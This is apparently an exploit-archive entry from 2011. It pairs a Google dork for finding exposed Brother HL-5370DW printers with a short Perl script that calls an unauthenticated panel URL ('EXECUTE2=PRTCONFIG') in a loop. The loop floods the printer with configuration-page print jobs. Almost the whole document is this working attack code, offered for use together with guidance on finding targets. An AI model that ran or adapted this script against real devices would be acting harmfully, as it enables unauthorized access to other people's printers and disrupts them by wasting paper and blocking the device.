# Exploit Title: Brother HL-5370DW series auth bypass printer flooder
# Google Dork: Copyright(C) 2000-2009 Brother Industries, Ltd. All Rights Reserved. Brother HL-5370DW series
# Date: 31/05/2011
# Author: chrisB
# Contact : chrisb [@) gmx.fr
# Version: Brother HL-5370DW series

#!/usr/bin/perl
use LWP::Simple;

usage() unless $ARGV[1];

$replace = 'post/panel.html?EXECUTE2=PRTCONFIG';
$hint = $ARGV[1];
$goodurl = $ARGV[0];
$success = 0;
$goodurl =~ s/main.html/$replace/; 

 for ($count = $hint + 1; $count >= 1; $count--) {
 		$contents = get($goodurl);

	if($contents =~ m/acknowledged/i) 
	{
		$success++;
		print "success\n";
	} 
	else 
	{
		print "error, busy or no more paper\n";
	}
 }
 print "pages printed : $success \r\n"; 
	
sub usage 
{
 print qq( Brother HL-5370DW series auth bypass printer flooder
       
Usage: perl $0 [http://url.fr/printer/main.html] [hints]
                  
)   and exit;
}
